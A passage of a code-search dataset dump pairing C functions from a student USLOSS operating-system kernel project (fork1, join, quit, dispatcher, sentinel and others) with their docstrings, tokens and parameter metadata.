ProcTable[procSlot].startArg[0] = '\0'; else if ( strlen(arg) >= (MAXARG - 1) ) { USLOSS_Console("fork1(): argument too long. Halting...\n"); USLOSS_Halt(1); } else strcpy(ProcTable[procSlot].startArg, arg); ProcTable[procSlot].nextProcPtr = NULL; ProcTable[procSlot].childProcPtr = NULL; ProcTable[procSlot].nextSiblingPtr = NULL; , need to be updated later in fork1 ProcTable[procSlot].quitHead = NULL; ProcTable[procSlot].quitNext = NULL; ProcTable[procSlot].whoZappedMeHead = NULL; ProcTable[procSlot].whoZappedMeNext = NULL; ProcTable[procSlot].pid = pidCounter; ProcTable[procSlot].priority = priority; ProcTable[procSlot].stack = malloc(stacksize); ProcTable[procSlot].stackSize = stacksize; ProcTable[procSlot].status = READY; ProcTable[procSlot].amIZapped = 0; ProcTable[procSlot].timeRun = 0; if (Current == NULL) ProcTable[procSlot].parentPtr = NULL; else { ProcTable[procSlot].parentPtr = Current; if(Current->childProcPtr == NULL) { Current->childProcPtr = &ProcTable[procSlot]; } else { ProcTable[procSlot].nextSiblingPtr = Current->childProcPtr; Current->childProcPtr = &ProcTable[procSlot]; } } insertRL(&ProcTable[procSlot]); USLOSS_ContextInit(&(ProcTable[procSlot].state), USLOSS_PsrGet(), ProcTable[procSlot].stack, ProcTable[procSlot].stackSize, launch); p1_fork(ProcTable[procSlot].pid); if (ProcTable[procSlot].priority != SENTINELPRIORITY) dispatcher(); return ProcTable[procSlot].pid; }
[ "int", "fork1", "(", "char", "*", "name", ",", "int", "(", "*", "startFunc", ")", "(", "char", "*", ")", ",", "char", "*", "arg", ",", "int", "stacksize", ",", "int", "priority", ")", "{", "if", "(", "!", "inKernel", "(", ")", ")", "{", "USLOSS_Console", "(", "\"", "\\n", "\"", ",", "Current", "->", "pid", ")", ";", "USLOSS_Halt", "(", "1", ")", ";", "}", "disableInterrupts", "(", ")", ";", "int", "procSlot", "=", "-1", ";", "int", "forkCounter", "=", "0", ";", "if", "(", "DEBUG", "&&", "debugflag", ")", "USLOSS_Console", "(", "\"", "\\n", "\"", ",", "name", ")", ";", "if", "(", "stacksize", "<", "USLOSS_MIN_STACK", ")", "return", "-2", ";", "if", "(", "ReadyList", "==", "NULL", ")", "{", "if", "(", "priority", "!=", "SENTINELPRIORITY", ")", "return", "-1", ";", "}", "else", "if", "(", "priority", "<", "MAXPRIORITY", "||", "priority", ">", "MINPRIORITY", ")", "return", "-1", ";", "if", "(", "(", "usableSlot", "(", "pidCounter", ")", ")", "&&", "(", "pidCounter", "==", "prevPid", ")", ")", "{", "pidCounter", "++", ";", "}", "while", "(", "!", "usableSlot", "(", "pidCounter", ")", "&&", "forkCounter", "<", "MAXPROC", ")", "{", "pidCounter", "++", ";", "forkCounter", "++", ";", "}", "if", "(", "forkCounter", "==", "MAXPROC", ")", "return", "-1", ";", "procSlot", "=", "pidCounter", "%", "MAXPROC", ";", "prevPid", "=", "pidCounter", ";", "if", "(", "strlen", "(", "name", ")", ">=", "(", "MAXNAME", "-", "1", ")", ")", "{", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "USLOSS_Halt", "(", "1", ")", ";", "}", "strcpy", "(", "ProcTable", "[", "procSlot", "]", ".", "name", ",", "name", ")", ";", "ProcTable", "[", "procSlot", "]", ".", "startFunc", "=", "startFunc", ";", "if", "(", "arg", "==", "NULL", ")", "ProcTable", "[", "procSlot", "]", ".", "startArg", "[", "0", "]", "=", "'", "\\0", "'", ";", "else", "if", "(", "strlen", "(", "arg", ")", ">=", "(", "MAXARG", "-", "1", ")", ")", "{", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "USLOSS_Halt", "(", "1", ")", ";", "}", "else", "strcpy", "(", "ProcTable", "[", "procSlot", "]", ".", "startArg", ",", "arg", ")", ";", "ProcTable", "[", "procSlot", "]", ".", "nextProcPtr", "=", "NULL", ";", "ProcTable", "[", "procSlot", "]", ".", "childProcPtr", "=", "NULL", ";", "ProcTable", "[", "procSlot", "]", ".", "nextSiblingPtr", "=", "NULL", ";", "ProcTable", "[", "procSlot", "]", ".", "quitHead", "=", "NULL", ";", "ProcTable", "[", "procSlot", "]", ".", "quitNext", "=", "NULL", ";", "ProcTable", "[", "procSlot", "]", ".", "whoZappedMeHead", "=", "NULL", ";", "ProcTable", "[", "procSlot", "]", ".", "whoZappedMeNext", "=", "NULL", ";", "ProcTable", "[", "procSlot", "]", ".", "pid", "=", "pidCounter", ";", "ProcTable", "[", "procSlot", "]", ".", "priority", "=", "priority", ";", "ProcTable", "[", "procSlot", "]", ".", "stack", "=", "malloc", "(", "stacksize", ")", ";", "ProcTable", "[", "procSlot", "]", ".", "stackSize", "=", "stacksize", ";", "ProcTable", "[", "procSlot", "]", ".", "status", "=", "READY", ";", "ProcTable", "[", "procSlot", "]", ".", "amIZapped", "=", "0", ";", "ProcTable", "[", "procSlot", "]", ".", "timeRun", "=", "0", ";", "if", "(", "Current", "==", "NULL", ")", "ProcTable", "[", "procSlot", "]", ".", "parentPtr", "=", "NULL", ";", "else", "{", "ProcTable", "[", "procSlot", "]", ".", "parentPtr", "=", "Current", ";", "if", "(", "Current", "->", "childProcPtr", "==", "NULL", ")", "{", "Current", "->", "childProcPtr", "=", "&", "ProcTable", "[", "procSlot", "]", ";", "}", "else", "{", "ProcTable", "[", "procSlot", "]", ".", "nextSiblingPtr", "=", "Current", "->", "childProcPtr", ";", "Current", "->", "childProcPtr", "=", "&", "ProcTable", "[", "procSlot", "]", ";", "}", "}", "insertRL", "(", "&", "ProcTable", "[", "procSlot", "]", ")", ";", "USLOSS_ContextInit", "(", "&", "(", "ProcTable", "[", "procSlot", "]", ".", "state", ")", ",", "USLOSS_PsrGet", "(", ")", ",", "ProcTable", "[", "procSlot", "]", ".", "stack", ",", "ProcTable", "[", "procSlot", "]", ".", "stackSize", ",", "launch", ")", ";", "p1_fork", "(", "ProcTable", "[", "procSlot", "]", ".", "pid", ")", ";", "if", "(", "ProcTable", "[", "procSlot", "]", ".", "priority", "!=", "SENTINELPRIORITY", ")", "dispatcher", "(", ")", ";", "return", "ProcTable", "[", "procSlot", "]", ".", "pid", ";", "}" ]
Name - fork1 Purpose - Gets a new process from the process table and initializes information of the process.
[ "Name", "-", "fork1", "Purpose", "-", "Gets", "a", "new", "process", "from", "the", "process", "table", "and", "initializes", "information", "of", "the", "process", "." ]
[ "//Turn off interrupts during fork creation process", "// test if in kernel mode; halt if in user mode", "// Return -2 if stack size is too small", "// Return -1 if priority is not in bound", "// special case when forking sentinel", "//Special case where pid assignment loop could try and assign same pid consecutivly. Avoids situation ", "// find an empty slot in the process table", "//No slots available", "//For above check to ensure same pid not used twice", "/* fill-in entry in process table */", "// fill-in name, startFunc, startArg and state", "// fill in related ptr", "// ReadyList, need to be updated later in fork1", "// ChildrenList", "// ChildrenList, need to be updated later in fork1", "// fill in others", "// fill in parentPid", "// update parent's childrenList", "//If child has no parents", "//Else add new child to front of list", "// Insert new process into readyList", "/* end of filling in entry in process table */", "// Initialize context for this process, but use launch function pointer for", "// the initial value of the process's program counter (PC)", "// for future phase(s)", "// call dispatcher if not sentinel", "// More stuff to do here...", "// -1 is not correct! Here to prevent warning." ]
[ { "param": "name", "type": "char" }, { "param": "startFunc", "type": "int" }, { "param": "arg", "type": "char" }, { "param": "stacksize", "type": "int" }, { "param": "priority", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "name", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "startFunc", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "arg", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "stacksize", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "priority", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
launch
void
void launch() { int result; if (DEBUG && debugflag) USLOSS_Console("launch(): started\n"); // Enable interrupts USLOSS_PsrSet( (USLOSS_PSR_CURRENT_INT | USLOSS_PsrGet())); // Call the function passed to fork1, and capture its return value result = Current->startFunc(Current->startArg); if (DEBUG && debugflag) USLOSS_Console("Process %d returned to launch\n", Current->pid); quit(result); }
/* ------------------------------------------------------------------------ Name - launch Purpose - Dummy function to enable interrupts and launch a given process upon startup. Parameters - none Returns - nothing Side Effects - enable interrupts ------------------------------------------------------------------------ */
launch Purpose - Dummy function to enable interrupts and launch a given process upon startup. Parameters - none Returns - nothing Side Effects - enable interrupts
[ "launch", "Purpose", "-", "Dummy", "function", "to", "enable", "interrupts", "and", "launch", "a", "given", "process", "upon", "startup", ".", "Parameters", "-", "none", "Returns", "-", "nothing", "Side", "Effects", "-", "enable", "interrupts" ]
void launch() { int result; if (DEBUG && debugflag) USLOSS_Console("launch(): started\n"); USLOSS_PsrSet( (USLOSS_PSR_CURRENT_INT | USLOSS_PsrGet())); result = Current->startFunc(Current->startArg); if (DEBUG && debugflag) USLOSS_Console("Process %d returned to launch\n", Current->pid); quit(result); }
[ "void", "launch", "(", ")", "{", "int", "result", ";", "if", "(", "DEBUG", "&&", "debugflag", ")", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "USLOSS_PsrSet", "(", "(", "USLOSS_PSR_CURRENT_INT", "|", "USLOSS_PsrGet", "(", ")", ")", ")", ";", "result", "=", "Current", "->", "startFunc", "(", "Current", "->", "startArg", ")", ";", "if", "(", "DEBUG", "&&", "debugflag", ")", "USLOSS_Console", "(", "\"", "\\n", "\"", ",", "Current", "->", "pid", ")", ";", "quit", "(", "result", ")", ";", "}" ]
Name - launch Purpose - Dummy function to enable interrupts and launch a given process upon startup.
[ "Name", "-", "launch", "Purpose", "-", "Dummy", "function", "to", "enable", "interrupts", "and", "launch", "a", "given", "process", "upon", "startup", "." ]
[ "// Enable interrupts", "// Call the function passed to fork1, and capture its return value" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
join
int
int join(int *status) { //Check for kernel mode if(!inKernel()) { USLOSS_Console("join: called while in user mode, by process %d. Halting...\n", Current->pid); USLOSS_Halt(1); } //Should I check for it here? if(isZapped()){ return -1; } //Disable interrupts disableInterrupts(); //If process currently has no children, should not be trying to join. Return -2 if(Current->childProcPtr == NULL) { //Enable interupts since returning out of join function enableInterrupts(); return -2; } //If no child has quit yet, block and take off ready list if(Current->quitHead == NULL) { Current->status = JOIN_BLOCKED; removeRL(Current); dispatcher(); //Dispatcher may have reenabled interupts, need to disable them again while we process rest of join disableInterrupts(); //Condition where join process was zapped while waiting for child to quit if(isZapped()){ return -1; } *status = Current->quitHead->quitStatus; //Save temp ID since will be moving past current quit process int temp_pid = Current->quitHead->pid; //Change quit processes Status to empty so ProcSlot can be given to new process Current->quitHead->status = EMPTY; //Remove child from parents children list removeChild(Current->quitHead); //quitHead = next element on quitlist Current->quitHead = Current->quitHead->quitNext; //Reenable Interrupts enableInterrupts(); return (temp_pid); } // if already quitted report quit status else { *status = Current->quitHead->quitStatus; //Store pid into temp spot because about to take it off the quitList int temp_pid = Current->quitHead->pid; //Change status of quitprocess to Empty so slot can be filled on process table Current->quitHead->status = EMPTY; removeChild(Current->quitHead); //Move the head of the list to the next Process Current->quitHead = Current->quitHead->quitNext; //Turn interrupts back on enableInterrupts(); //Return pid of process that quit (front of quitList) return (temp_pid); } }
/* ------------------------------------------------------------------------ Name - join Purpose - Wait for a child process (if one has been forked) to quit. If one has already quit, don't wait. Parameters - a pointer to an int where the termination code of the quitting process is to be stored. Returns - the process id of the quitting child joined on. -1 if the process was zapped in the join -2 if the process has no children Side Effects - If no child process has quit before join is called, the parent is removed from the ready list and blocked. ------------------------------------------------------------------------ */
join Purpose - Wait for a child process (if one has been forked) to quit. If one has already quit, don't wait. Parameters - a pointer to an int where the termination code of the quitting process is to be stored. Returns - the process id of the quitting child joined on. 1 if the process was zapped in the join 2 if the process has no children Side Effects - If no child process has quit before join is called, the parent is removed from the ready list and blocked.
[ "join", "Purpose", "-", "Wait", "for", "a", "child", "process", "(", "if", "one", "has", "been", "forked", ")", "to", "quit", ".", "If", "one", "has", "already", "quit", "don", "'", "t", "wait", ".", "Parameters", "-", "a", "pointer", "to", "an", "int", "where", "the", "termination", "code", "of", "the", "quitting", "process", "is", "to", "be", "stored", ".", "Returns", "-", "the", "process", "id", "of", "the", "quitting", "child", "joined", "on", ".", "1", "if", "the", "process", "was", "zapped", "in", "the", "join", "2", "if", "the", "process", "has", "no", "children", "Side", "Effects", "-", "If", "no", "child", "process", "has", "quit", "before", "join", "is", "called", "the", "parent", "is", "removed", "from", "the", "ready", "list", "and", "blocked", "." ]
int join(int *status) { if(!inKernel()) { USLOSS_Console("join: called while in user mode, by process %d. Halting...\n", Current->pid); USLOSS_Halt(1); } if(isZapped()){ return -1; } disableInterrupts(); if(Current->childProcPtr == NULL) { enableInterrupts(); return -2; } if(Current->quitHead == NULL) { Current->status = JOIN_BLOCKED; removeRL(Current); dispatcher(); disableInterrupts(); if(isZapped()){ return -1; } *status = Current->quitHead->quitStatus; int temp_pid = Current->quitHead->pid; Current->quitHead->status = EMPTY; removeChild(Current->quitHead); Current->quitHead = Current->quitHead->quitNext; enableInterrupts(); return (temp_pid); } else { *status = Current->quitHead->quitStatus; int temp_pid = Current->quitHead->pid; Current->quitHead->status = EMPTY; removeChild(Current->quitHead); Current->quitHead = Current->quitHead->quitNext; enableInterrupts(); return (temp_pid); } }
[ "int", "join", "(", "int", "*", "status", ")", "{", "if", "(", "!", "inKernel", "(", ")", ")", "{", "USLOSS_Console", "(", "\"", "\\n", "\"", ",", "Current", "->", "pid", ")", ";", "USLOSS_Halt", "(", "1", ")", ";", "}", "if", "(", "isZapped", "(", ")", ")", "{", "return", "-1", ";", "}", "disableInterrupts", "(", ")", ";", "if", "(", "Current", "->", "childProcPtr", "==", "NULL", ")", "{", "enableInterrupts", "(", ")", ";", "return", "-2", ";", "}", "if", "(", "Current", "->", "quitHead", "==", "NULL", ")", "{", "Current", "->", "status", "=", "JOIN_BLOCKED", ";", "removeRL", "(", "Current", ")", ";", "dispatcher", "(", ")", ";", "disableInterrupts", "(", ")", ";", "if", "(", "isZapped", "(", ")", ")", "{", "return", "-1", ";", "}", "*", "status", "=", "Current", "->", "quitHead", "->", "quitStatus", ";", "int", "temp_pid", "=", "Current", "->", "quitHead", "->", "pid", ";", "Current", "->", "quitHead", "->", "status", "=", "EMPTY", ";", "removeChild", "(", "Current", "->", "quitHead", ")", ";", "Current", "->", "quitHead", "=", "Current", "->", "quitHead", "->", "quitNext", ";", "enableInterrupts", "(", ")", ";", "return", "(", "temp_pid", ")", ";", "}", "else", "{", "*", "status", "=", "Current", "->", "quitHead", "->", "quitStatus", ";", "int", "temp_pid", "=", "Current", "->", "quitHead", "->", "pid", ";", "Current", "->", "quitHead", "->", "status", "=", "EMPTY", ";", "removeChild", "(", "Current", "->", "quitHead", ")", ";", "Current", "->", "quitHead", "=", "Current", "->", "quitHead", "->", "quitNext", ";", "enableInterrupts", "(", ")", ";", "return", "(", "temp_pid", ")", ";", "}", "}" ]
Name - join Purpose - Wait for a child process (if one has been forked) to quit.
[ "Name", "-", "join", "Purpose", "-", "Wait", "for", "a", "child", "process", "(", "if", "one", "has", "been", "forked", ")", "to", "quit", "." ]
[ "//Check for kernel mode", "//Should I check for it here?", "//Disable interrupts", "//If process currently has no children, should not be trying to join. Return -2", "//Enable interupts since returning out of join function", "//If no child has quit yet, block and take off ready list", "//Dispatcher may have reenabled interupts, need to disable them again while we process rest of join", "//Condition where join process was zapped while waiting for child to quit", "//Save temp ID since will be moving past current quit process", "//Change quit processes Status to empty so ProcSlot can be given to new process", "//Remove child from parents children list", "//quitHead = next element on quitlist", "//Reenable Interrupts", "// if already quitted report quit status", "//Store pid into temp spot because about to take it off the quitList", "//Change status of quitprocess to Empty so slot can be filled on process table", "//Move the head of the list to the next Process", "//Turn interrupts back on", "//Return pid of process that quit (front of quitList)" ]
[ { "param": "status", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "status", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
quit
void
void quit(int status) { if(!inKernel()) { USLOSS_Console("quit(): called while in user mode, by process %d. Halting...\n", Current->pid); USLOSS_Halt(1); } disableInterrupts(); // check if all children have quitted if(Current->childProcPtr != NULL) { procPtr tempPtr = Current->childProcPtr; while(tempPtr != NULL) { if(tempPtr->status != QUITTED && tempPtr->status != EMPTY) { dumpProcesses(); USLOSS_Console("quit(): process %d, '%s', has active children. Halting...\n", Current->pid, Current->name); USLOSS_Halt(1); } tempPtr = tempPtr->nextSiblingPtr; } } // check if isZapped if(isZapped()) { releaseZapBlocks(); } Current->status = QUITTED; //If child has parent if(Current->parentPtr != NULL) { // if has a parent, let the parent know child quits and set its status to ready if(Current->parentPtr->status == JOIN_BLOCKED) { Current->parentPtr->status = READY; insertRL(Current->parentPtr); } // If quitList is currently empty, make Current quit process the head if(Current->parentPtr->quitHead == NULL) { Current->parentPtr->quitHead = Current; Current->quitNext = NULL; } // quitList not empty else { procPtr tempPtr = Current->parentPtr->quitHead; //Travel the list until we come to the last existing quitProcess while(tempPtr->quitNext != NULL) { tempPtr = tempPtr->quitNext; } //Once we find it, add Current process to end of list tempPtr->quitNext = Current; Current->quitNext = NULL; } } Current->quitStatus = status; //Take quit process off of readylist removeRL(Current); dispatcher(); p1_quit(Current->pid); }
/* ------------------------------------------------------------------------ Name - quit Purpose - Stops the child process and notifies the parent of the death by putting child quit info on the parents child completion code list. Parameters - the code to return to the grieving parent Returns - nothing Side Effects - changes the parent of pid child completion status list. ------------------------------------------------------------------------ */
quit Purpose - Stops the child process and notifies the parent of the death by putting child quit info on the parents child completion code list. Parameters - the code to return to the grieving parent Returns - nothing Side Effects - changes the parent of pid child completion status list.
[ "quit", "Purpose", "-", "Stops", "the", "child", "process", "and", "notifies", "the", "parent", "of", "the", "death", "by", "putting", "child", "quit", "info", "on", "the", "parents", "child", "completion", "code", "list", ".", "Parameters", "-", "the", "code", "to", "return", "to", "the", "grieving", "parent", "Returns", "-", "nothing", "Side", "Effects", "-", "changes", "the", "parent", "of", "pid", "child", "completion", "status", "list", "." ]
void quit(int status) { if(!inKernel()) { USLOSS_Console("quit(): called while in user mode, by process %d. Halting...\n", Current->pid); USLOSS_Halt(1); } disableInterrupts(); if(Current->childProcPtr != NULL) { procPtr tempPtr = Current->childProcPtr; while(tempPtr != NULL) { if(tempPtr->status != QUITTED && tempPtr->status != EMPTY) { dumpProcesses(); USLOSS_Console("quit(): process %d, '%s', has active children. Halting...\n", Current->pid, Current->name); USLOSS_Halt(1); } tempPtr = tempPtr->nextSiblingPtr; } } if(isZapped()) { releaseZapBlocks(); } Current->status = QUITTED; if(Current->parentPtr != NULL) { if(Current->parentPtr->status == JOIN_BLOCKED) { Current->parentPtr->status = READY; insertRL(Current->parentPtr); } if(Current->parentPtr->quitHead == NULL) { Current->parentPtr->quitHead = Current; Current->quitNext = NULL; } else { procPtr tempPtr = Current->parentPtr->quitHead; while(tempPtr->quitNext != NULL) { tempPtr = tempPtr->quitNext; } tempPtr->quitNext = Current; Current->quitNext = NULL; } } Current->quitStatus = status; removeRL(Current); dispatcher(); p1_quit(Current->pid); }
[ "void", "quit", "(", "int", "status", ")", "{", "if", "(", "!", "inKernel", "(", ")", ")", "{", "USLOSS_Console", "(", "\"", "\\n", "\"", ",", "Current", "->", "pid", ")", ";", "USLOSS_Halt", "(", "1", ")", ";", "}", "disableInterrupts", "(", ")", ";", "if", "(", "Current", "->", "childProcPtr", "!=", "NULL", ")", "{", "procPtr", "tempPtr", "=", "Current", "->", "childProcPtr", ";", "while", "(", "tempPtr", "!=", "NULL", ")", "{", "if", "(", "tempPtr", "->", "status", "!=", "QUITTED", "&&", "tempPtr", "->", "status", "!=", "EMPTY", ")", "{", "dumpProcesses", "(", ")", ";", "USLOSS_Console", "(", "\"", "\\n", "\"", ",", "Current", "->", "pid", ",", "Current", "->", "name", ")", ";", "USLOSS_Halt", "(", "1", ")", ";", "}", "tempPtr", "=", "tempPtr", "->", "nextSiblingPtr", ";", "}", "}", "if", "(", "isZapped", "(", ")", ")", "{", "releaseZapBlocks", "(", ")", ";", "}", "Current", "->", "status", "=", "QUITTED", ";", "if", "(", "Current", "->", "parentPtr", "!=", "NULL", ")", "{", "if", "(", "Current", "->", "parentPtr", "->", "status", "==", "JOIN_BLOCKED", ")", "{", "Current", "->", "parentPtr", "->", "status", "=", "READY", ";", "insertRL", "(", "Current", "->", "parentPtr", ")", ";", "}", "if", "(", "Current", "->", "parentPtr", "->", "quitHead", "==", "NULL", ")", "{", "Current", "->", "parentPtr", "->", "quitHead", "=", "Current", ";", "Current", "->", "quitNext", "=", "NULL", ";", "}", "else", "{", "procPtr", "tempPtr", "=", "Current", "->", "parentPtr", "->", "quitHead", ";", "while", "(", "tempPtr", "->", "quitNext", "!=", "NULL", ")", "{", "tempPtr", "=", "tempPtr", "->", "quitNext", ";", "}", "tempPtr", "->", "quitNext", "=", "Current", ";", "Current", "->", "quitNext", "=", "NULL", ";", "}", "}", "Current", "->", "quitStatus", "=", "status", ";", "removeRL", "(", "Current", ")", ";", "dispatcher", "(", ")", ";", "p1_quit", "(", "Current", "->", "pid", ")", ";", "}" ]
Name - quit Purpose - Stops the child process and notifies the parent of the death by putting child quit info on the parents child completion code list.
[ "Name", "-", "quit", "Purpose", "-", "Stops", "the", "child", "process", "and", "notifies", "the", "parent", "of", "the", "death", "by", "putting", "child", "quit", "info", "on", "the", "parents", "child", "completion", "code", "list", "." ]
[ "// check if all children have quitted", "// check if isZapped", "//If child has parent", "// if has a parent, let the parent know child quits and set its status to ready", "// If quitList is currently empty, make Current quit process the head", "// quitList not empty", "//Travel the list until we come to the last existing quitProcess", "//Once we find it, add Current process to end of list", "//Take quit process off of readylist" ]
[ { "param": "status", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "status", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
releaseZapBlocks
void
void releaseZapBlocks() { procPtr tempPtr = Current->whoZappedMeHead; while(tempPtr != NULL) { //Travel through all processes which zapped Current and set to Ready and reinsert if(tempPtr->status == BLOCKED) { tempPtr->status = READY; insertRL(tempPtr); } tempPtr = tempPtr->whoZappedMeNext; } }
/* ------------------------- releaseZapBlocks ----------------------------------- */ //Sets processes that were blocked due to zapping Current back to Ready status and reinserts onto readyList
releaseZapBlocks Sets processes that were blocked due to zapping Current back to Ready status and reinserts onto readyList
[ "releaseZapBlocks", "Sets", "processes", "that", "were", "blocked", "due", "to", "zapping", "Current", "back", "to", "Ready", "status", "and", "reinserts", "onto", "readyList" ]
void releaseZapBlocks() { procPtr tempPtr = Current->whoZappedMeHead; while(tempPtr != NULL) { if(tempPtr->status == BLOCKED) { tempPtr->status = READY; insertRL(tempPtr); } tempPtr = tempPtr->whoZappedMeNext; } }
[ "void", "releaseZapBlocks", "(", ")", "{", "procPtr", "tempPtr", "=", "Current", "->", "whoZappedMeHead", ";", "while", "(", "tempPtr", "!=", "NULL", ")", "{", "if", "(", "tempPtr", "->", "status", "==", "BLOCKED", ")", "{", "tempPtr", "->", "status", "=", "READY", ";", "insertRL", "(", "tempPtr", ")", ";", "}", "tempPtr", "=", "tempPtr", "->", "whoZappedMeNext", ";", "}", "}" ]
releaseZapBlocks Sets processes that were blocked due to zapping Current back to Ready status and reinserts onto readyList
[ "releaseZapBlocks", "Sets", "processes", "that", "were", "blocked", "due", "to", "zapping", "Current", "back", "to", "Ready", "status", "and", "reinserts", "onto", "readyList" ]
[ "//Travel through all processes which zapped Current and set to Ready and reinsert" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
dispatcher
void
void dispatcher(void) { //If not process currently running if(Current == NULL) { Current = ReadyList; Current->timeStart = USLOSS_Clock(); enableInterrupts(); USLOSS_ContextSwitch(NULL, &(Current->state)); } else //Else some process current running { //If processes is being switched due to timeSlice, reset its timeRun to 0. if(isTimeSlice) { Current->timeRun = 0; //Reset timeSlice flag isTimeSlice = 0; } else { //Record runtime of Current process before switching Current->timeRun += (USLOSS_Clock() - Current->timeStart); } procPtr prevProc = Current; Current = ReadyList; //Set start time for process about to begin Current->timeStart = USLOSS_Clock(); enableInterrupts(); USLOSS_ContextSwitch(&prevProc->state, &ReadyList->state); } }
/* ------------------------------------------------------------------------ Name - dispatcher Purpose - dispatches ready processes. The process with the highest priority (the first on the ready list) is scheduled to run. The old process is swapped out and the new process swapped in. Parameters - none Returns - nothing Side Effects - the context of the machine is changed ----------------------------------------------------------------------- */
dispatcher Purpose - dispatches ready processes. The process with the highest priority (the first on the ready list) is scheduled to run. The old process is swapped out and the new process swapped in. Parameters - none Returns - nothing Side Effects - the context of the machine is changed
[ "dispatcher", "Purpose", "-", "dispatches", "ready", "processes", ".", "The", "process", "with", "the", "highest", "priority", "(", "the", "first", "on", "the", "ready", "list", ")", "is", "scheduled", "to", "run", ".", "The", "old", "process", "is", "swapped", "out", "and", "the", "new", "process", "swapped", "in", ".", "Parameters", "-", "none", "Returns", "-", "nothing", "Side", "Effects", "-", "the", "context", "of", "the", "machine", "is", "changed" ]
void dispatcher(void) { if(Current == NULL) { Current = ReadyList; Current->timeStart = USLOSS_Clock(); enableInterrupts(); USLOSS_ContextSwitch(NULL, &(Current->state)); } else { if(isTimeSlice) { Current->timeRun = 0; isTimeSlice = 0; } else { Current->timeRun += (USLOSS_Clock() - Current->timeStart); } procPtr prevProc = Current; Current = ReadyList; Current->timeStart = USLOSS_Clock(); enableInterrupts(); USLOSS_ContextSwitch(&prevProc->state, &ReadyList->state); } }
[ "void", "dispatcher", "(", "void", ")", "{", "if", "(", "Current", "==", "NULL", ")", "{", "Current", "=", "ReadyList", ";", "Current", "->", "timeStart", "=", "USLOSS_Clock", "(", ")", ";", "enableInterrupts", "(", ")", ";", "USLOSS_ContextSwitch", "(", "NULL", ",", "&", "(", "Current", "->", "state", ")", ")", ";", "}", "else", "{", "if", "(", "isTimeSlice", ")", "{", "Current", "->", "timeRun", "=", "0", ";", "isTimeSlice", "=", "0", ";", "}", "else", "{", "Current", "->", "timeRun", "+=", "(", "USLOSS_Clock", "(", ")", "-", "Current", "->", "timeStart", ")", ";", "}", "procPtr", "prevProc", "=", "Current", ";", "Current", "=", "ReadyList", ";", "Current", "->", "timeStart", "=", "USLOSS_Clock", "(", ")", ";", "enableInterrupts", "(", ")", ";", "USLOSS_ContextSwitch", "(", "&", "prevProc", "->", "state", ",", "&", "ReadyList", "->", "state", ")", ";", "}", "}" ]
Name - dispatcher Purpose - dispatches ready processes.
[ "Name", "-", "dispatcher", "Purpose", "-", "dispatches", "ready", "processes", "." ]
[ "//If not process currently running", "//Else some process current running", "//If processes is being switched due to timeSlice, reset its timeRun to 0.", "//Reset timeSlice flag", "//Record runtime of Current process before switching", "//Set start time for process about to begin" ]
[]
{ "returns": [], "raises": [], "params": [], "outlier_params": [], "others": [] }
638028f322420ab4581971334ec58ce6b3719e49
yikaicao/USLOSS_p1
backup.c
[ "Apache-2.0" ]
C
sentinel
int
int sentinel (char *dummy) { if (DEBUG && debugflag) USLOSS_Console("sentinel(): called\n"); while (1) { checkDeadlock(); USLOSS_WaitInt(); } }
/* ------------------------------------------------------------------------ Name - sentinel Purpose - The purpose of the sentinel routine is two-fold. One responsibility is to keep the system going when all other processes are blocked. The other is to detect and report simple deadlock states. Parameters - none Returns - nothing Side Effects - if system is in deadlock, print appropriate error and halt. ----------------------------------------------------------------------- */
sentinel Purpose - The purpose of the sentinel routine is two-fold. One responsibility is to keep the system going when all other processes are blocked. The other is to detect and report simple deadlock states. Parameters - none Returns - nothing Side Effects - if system is in deadlock, print appropriate error and halt.
[ "sentinel", "Purpose", "-", "The", "purpose", "of", "the", "sentinel", "routine", "is", "two", "-", "fold", ".", "One", "responsibility", "is", "to", "keep", "the", "system", "going", "when", "all", "other", "processes", "are", "blocked", ".", "The", "other", "is", "to", "detect", "and", "report", "simple", "deadlock", "states", ".", "Parameters", "-", "none", "Returns", "-", "nothing", "Side", "Effects", "-", "if", "system", "is", "in", "deadlock", "print", "appropriate", "error", "and", "halt", "." ]
int sentinel (char *dummy) { if (DEBUG && debugflag) USLOSS_Console("sentinel(): called\n"); while (1) { checkDeadlock(); USLOSS_WaitInt(); } }
[ "int", "sentinel", "(", "char", "*", "dummy", ")", "{", "if", "(", "DEBUG", "&&", "debugflag", ")", "USLOSS_Console", "(", "\"", "\\n", "\"", ")", ";", "while", "(", "1", ")", "{", "checkDeadlock", "(", ")", ";", "USLOSS_WaitInt", "(", ")", ";", "}", "}" ]
Name - sentinel Purpose - The purpose of the sentinel routine is two-fold.
[ "Name", "-", "sentinel", "Purpose", "-", "The", "purpose", "of", "the", "sentinel", "routine", "is", "two", "-", "fold", "." ]
[]
[ { "param": "dummy", "type": "char" } ]
